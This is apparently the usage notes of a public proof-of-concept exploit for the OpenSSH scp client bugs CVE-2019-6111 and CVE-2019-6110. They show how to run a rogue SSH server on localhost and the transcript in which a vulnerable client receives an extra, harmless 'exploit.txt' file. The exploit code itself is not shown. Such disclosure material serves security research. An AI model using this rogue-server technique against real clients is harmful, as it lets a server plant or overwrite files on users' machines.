Haase <mhaase@hyperiongray.com> Homepage: https://www.hyperiongray.com Date: 2019-01-17 CVE: CVE-2019-6111, CVE-2019-6110 Advisory: https://sintonen.fi/advisories/scp-client-multiple-vulnerabilities.txt Tested on: Ubuntu 18.04.1 LTS, OpenSSH client 7.6p1 We have nicknamed this "SSHtranger Things" because the bug is so old it could be exploited by an 8-bit Demogorgon. Tested on Python 3.6.7 and requires `paramiko` package. The server listens on port 2222. It accepts any username and password, and it generates a new host key every time you run it. $ python3 sshtranger_things.py Download a file using a vulnerable client. The local path must be a dot: $ scp -P 2222 foo@localhost:test.txt . The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established. RSA key fingerprint is SHA256:C7FhMqqiMpkqG9j+11S2Wv9lQYlN1jkDiipdeFMZT1w. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '[localhost]:2222' (RSA) to the list of known hosts. foo@localhost's password: test.txt 100% 32 0.7KB/s 00:00 The file you requested (e.g. test.txt) will be saved in your current directory. If your client is vulnerable, you will have an additional file "exploit.txt" created in your current directory. $ cat test.txt This is the file you requested. $ cat exploit.txt SSHtranger Things The interesting code is in ScpServer.send_file().
